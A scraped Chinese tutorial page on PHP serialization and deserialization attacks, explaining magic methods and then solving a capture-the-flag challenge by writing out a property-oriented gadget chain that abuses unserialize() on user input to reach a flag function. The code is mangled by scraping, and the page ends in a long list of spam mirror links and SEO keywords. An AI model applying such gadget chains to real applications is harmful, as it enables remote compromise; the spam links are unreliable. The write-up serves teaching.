当前位置: 首页 > news >正文 做网站推广前途个人网站开发技术 news 2025/11/2 19:32:40 做网站推广前途,个人网站开发技术,wordpress添加媒体库,上海上市公司100强一、序列化#xff0c;反序列化 序列化#xff1a;将php对象压缩并按照一定格式转换成字符串过程反序列化#xff1a;从字符串转换回php对象的过程目的#xff1a;为了方便php对象的传输和存储 seriallize() 传入参数为php对象#xff0c;序列化成字符串 unseriali…一、序列化反序列化 序列化将php对象压缩并按照一定格式转换成字符串过程反序列化从字符串转换回php对象的过程目的为了方便php对象的传输和存储 seriallize() 传入参数为php对象序列化成字符串 unserialize() 传入字符串反序列化成一个对象 下图上面是php对象下面是 序列化结果 强调序列化的过程只序列化属性不序列化函数 二、反序列化攻击 利用unserilize()接受的参数是用户可控攻击者输入精心构造的字符串再转换成对象的过程中实现攻击 只序列化属性不序列化方法所有对象的属性是唯一的攻击入口 魔术方法以__开头的函数 1.__construct() 构造函数当一个对象被实例化时就会被调用 ?phpclass A{function __construct(){echo this is a construct function:}}$a new A(); ? 当$a new A() 这条语句被执行的时候__construct()方法就会被调用 2.__destruct(): 析构函数当代码执行结束对象所占用的空间被回收的时候回自动调用析构函数 ?phpclass A{function __construct(){echo this is a construct function;}function __destruct(){echo this is a destruct function;}}$a new A(); ? 这个方法不管是啥情况只要代码执行肯定有结束的时候就一定会调用析构函数 3.__sleep(): 在对象进行序列化的过程__sleep()函数将被调用 ?phpclass A{private $test;public $test2;public function __construct($test){$this-test $test;}public function __sleep(){echo this is a sleep function;return array(test); //这里必须返回一个数值里面的参数表示返回的属性名称}}$a new A(Aurora);echo serialize($a); ? 在代码中有serialize()方法的出现__sleep()这个魔术方法一定会被调用 4.__wakeup(): wakeup()与sleep()正好相对应 是在反序列化的过程会被调用 当unserialize()函数出现__wakeup()这个魔术方法一定会被调用 注意反序列化看似是构造一个对象但并没有调用到constant方法而是调用__wakeup()方法 5.__toString()方法 当出现把一个字符串当作字符串来使用就会调用该方法 ?php class A{private $test;public function __construct($test){$this-test $test;}function __toString(){$str this is a toString function;return $str;}}$a new A(Aurora);echo $a; ? 6.__invoke(): 当把一个对象当作函数来调用的时候就会自动调用invoke()方法 ?phpclass A{private $test;public function __construct($test){$this-test $test;}function __invoke(){echo this is a invoke function;}}$a new A(Aurora);$a(); //$a是一个对象但却用$a()调用方法的方法使用它 ? 上面$a()就是将对象作为函数来调用的例子 7.__call(): 调用对象中不存在的方法就会调用call函数 ?phpclass A{private $test;public function __construct($test){$this-test $test;}function _call($funName,$arguments){echo 你所调用的方法“.$funName.(参数 //输出调用不存在的方法名print_r($arguments);echo )不存在br\n; //结束换行}$a new A(Aurora);$a-test(no,this,function); //可以看到A类中并没有test()方法 ?三、案例 !-- class allstart {public $var1;public $var2;public function __destruct(){$this-var1-test1();} } class func1 {public $var1;public $var2;public function test1(){$this-var1-test2();} } class func2 {public $var1;public $var2;public function __call($test2,$arr){$s1 $this-var1;$s1();} } class func3 {public $var1;public $var2;public function __invoke(){$this-var2 concat string.$this-var1;} } class func4 {public $str1;public $str2;public function __toString(){$this-str1-get_flag();return 1;} } class toget {public function get_flag(){ echo flag{***};} }$a$_GET[string]; unserialize($a);反序列化攻击就是制造一条攻击链 将每一个会用到的属性进行赋值赋值成特定的对象 后将其进行序列化得到序列化的字符串作为get参数传入题目中去 ?phpclass allstart{public $var1;public $var2;public function __construct() //只需在每个对象中添加构造函数{$this-var1new func1();}public function __destruct(){$this-var1-test1();}}class func1{public $var1;public $var2;public function __construct() //只需在每个对象中添加构造函数{$this-var1new func2();}public function test1(){$this-var1-test2();}} class func2{public $var1;public $var2;public function __construct() //只需在每个对象中添加构造函数{$this-var1new func3();}public function __call($test2,$arr){$s1 $this-var1;$s1();}}class func3{public $var1;public $var2;public function __construct() //只需在每个对象中添加构造函数{$this-var1new func4();}public function __invoke(){$this-var2 concat string.$this-var1;} }class func4{public $str1;public $str2;public function __construct() //只需在每个对象中添加构造函数{$this-str1new toget();}public function __toString(){$this-str1-get_flag();return 1;}}class toget{public function get_flag(){ echo flag{***};}}$anew allstart(); //这个也要与源码不同echo serialize($a); //将对象序列化 ? 文章转载自: http://www.morning.tbqbd.cn.gov.cn.tbqbd.cn http://www.morning.ndyrb.com.gov.cn.ndyrb.com http://www.morning.xbzfz.cn.gov.cn.xbzfz.cn http://www.morning.nlmm.cn.gov.cn.nlmm.cn http://www.morning.klpwl.cn.gov.cn.klpwl.cn http://www.morning.dfojgo.cn.gov.cn.dfojgo.cn http://www.morning.rnnq.cn.gov.cn.rnnq.cn http://www.morning.hxhrg.cn.gov.cn.hxhrg.cn http://www.morning.frzdt.cn.gov.cn.frzdt.cn http://www.morning.rzczl.cn.gov.cn.rzczl.cn http://www.morning.snxbf.cn.gov.cn.snxbf.cn http://www.morning.banzou2034.cn.gov.cn.banzou2034.cn http://www.morning.yrctp.cn.gov.cn.yrctp.cn http://www.morning.mlfgx.cn.gov.cn.mlfgx.cn http://www.morning.rgwrl.cn.gov.cn.rgwrl.cn http://www.morning.cwpny.cn.gov.cn.cwpny.cn http://www.morning.bwygy.cn.gov.cn.bwygy.cn http://www.morning.plqqp.cn.gov.cn.plqqp.cn http://www.morning.gtjkh.cn.gov.cn.gtjkh.cn http://www.morning.jpgfx.cn.gov.cn.jpgfx.cn http://www.morning.qbjrl.cn.gov.cn.qbjrl.cn http://www.morning.hxwhyjh.com.gov.cn.hxwhyjh.com http://www.morning.tlrxp.cn.gov.cn.tlrxp.cn http://www.morning.itvsee.com.gov.cn.itvsee.com http://www.morning.rqnhf.cn.gov.cn.rqnhf.cn http://www.morning.fnwny.cn.gov.cn.fnwny.cn http://www.morning.wkwds.cn.gov.cn.wkwds.cn http://www.morning.kgphd.cn.gov.cn.kgphd.cn http://www.morning.kxqmh.cn.gov.cn.kxqmh.cn http://www.morning.ptzbg.cn.gov.cn.ptzbg.cn http://www.morning.rkqkb.cn.gov.cn.rkqkb.cn http://www.morning.pwsnr.cn.gov.cn.pwsnr.cn http://www.morning.bfmrq.cn.gov.cn.bfmrq.cn http://www.morning.tfkqc.cn.gov.cn.tfkqc.cn http://www.morning.bppml.cn.gov.cn.bppml.cn http://www.morning.kgsws.cn.gov.cn.kgsws.cn http://www.morning.pwzzk.cn.gov.cn.pwzzk.cn http://www.morning.gbfck.cn.gov.cn.gbfck.cn http://www.morning.lxkhx.cn.gov.cn.lxkhx.cn http://www.morning.tymwx.cn.gov.cn.tymwx.cn http://www.morning.huihuangwh.cn.gov.cn.huihuangwh.cn http://www.morning.ryxdf.cn.gov.cn.ryxdf.cn http://www.morning.rpms.cn.gov.cn.rpms.cn http://www.morning.hrjrt.cn.gov.cn.hrjrt.cn http://www.morning.lmhh.cn.gov.cn.lmhh.cn http://www.morning.pcwzb.cn.gov.cn.pcwzb.cn http://www.morning.sltfk.cn.gov.cn.sltfk.cn http://www.morning.dpflt.cn.gov.cn.dpflt.cn http://www.morning.hdrrk.cn.gov.cn.hdrrk.cn http://www.morning.kbyp.cn.gov.cn.kbyp.cn http://www.morning.cknsx.cn.gov.cn.cknsx.cn http://www.morning.htrzp.cn.gov.cn.htrzp.cn http://www.morning.bwkhp.cn.gov.cn.bwkhp.cn http://www.morning.xdttq.cn.gov.cn.xdttq.cn http://www.morning.rbrhj.cn.gov.cn.rbrhj.cn http://www.morning.yfzld.cn.gov.cn.yfzld.cn http://www.morning.rswtz.cn.gov.cn.rswtz.cn http://www.morning.hotlads.com.gov.cn.hotlads.com http://www.morning.kcyxs.cn.gov.cn.kcyxs.cn http://www.morning.nchsz.cn.gov.cn.nchsz.cn http://www.morning.rqfzp.cn.gov.cn.rqfzp.cn http://www.morning.zrdhd.cn.gov.cn.zrdhd.cn http://www.morning.blqmn.cn.gov.cn.blqmn.cn http://www.morning.cfcpb.cn.gov.cn.cfcpb.cn http://www.morning.lmjtp.cn.gov.cn.lmjtp.cn http://www.morning.yrycb.cn.gov.cn.yrycb.cn http://www.morning.hrdx.cn.gov.cn.hrdx.cn http://www.morning.qnlbb.cn.gov.cn.qnlbb.cn http://www.morning.tlfzp.cn.gov.cn.tlfzp.cn http://www.morning.hbxnb.cn.gov.cn.hbxnb.cn http://www.morning.hrpbq.cn.gov.cn.hrpbq.cn http://www.morning.lbpfl.cn.gov.cn.lbpfl.cn http://www.morning.dmtbs.cn.gov.cn.dmtbs.cn http://www.morning.hrzhg.cn.gov.cn.hrzhg.cn http://www.morning.wtnyg.cn.gov.cn.wtnyg.cn http://www.morning.bqmhm.cn.gov.cn.bqmhm.cn http://www.morning.qbjrf.cn.gov.cn.qbjrf.cn http://www.morning.jbnss.cn.gov.cn.jbnss.cn http://www.morning.bwznl.cn.gov.cn.bwznl.cn http://www.morning.zynjt.cn.gov.cn.zynjt.cn 查看全文 http://www.tj-hxxt.cn/news/271709.html 相关文章: 岱山县网站建设wordpress singular WordPress一键开启全站SSL.net网站费用 解决网站兼容性问题软件职业培训 wordpress 网站源码高清图片素材哪里找 南京网站公司网站icp备案申请 建设网站的网站是什么网上花店网页制作教程 asp net4.0网站开发网站建设需要什么研究条件 淄川网站建设自建网站注册域名很有必要 丹东新区建设发展集团网站做个手机网站有必要吗 网站流量转化免费提供网站 网站建设报价东莞购物网站推广方案 陆家网站建设手机网站制作与建设 帝国cms网站地址移动网站建设初学视频教程 做投融资平台的网站都有哪些?网络营销指的是什么意思 公司做网站多少钱怎么查网站有没有做404 宜宾建设网站建站优化全包 北京做网站价格免费erp系统软件有哪些 对网站做综合搜索引擎优化分析阿里云网站建设一次付费 创建网站的英语网站 分析 建立网站原理网站建站行业 知名企业门户网站建设北京朝阳区楼盘 网站建设主体力量企业网站硬件设计 开发网站需要注意seo短视频网页入口引流动漫 永久免费的ppt网站在线家装设计平台免费 建设自己的网站有钱赚么谷歌优化方法 网站开发 分类编码定制化软件 做六个网站静态页多少钱phonegap wordpress 做防伪的网站湖北网站建设找哪家 专业购物网站建设哪家好seo标题优化的心得总结 培训网站建设公司哪个网站可以接做美工的活儿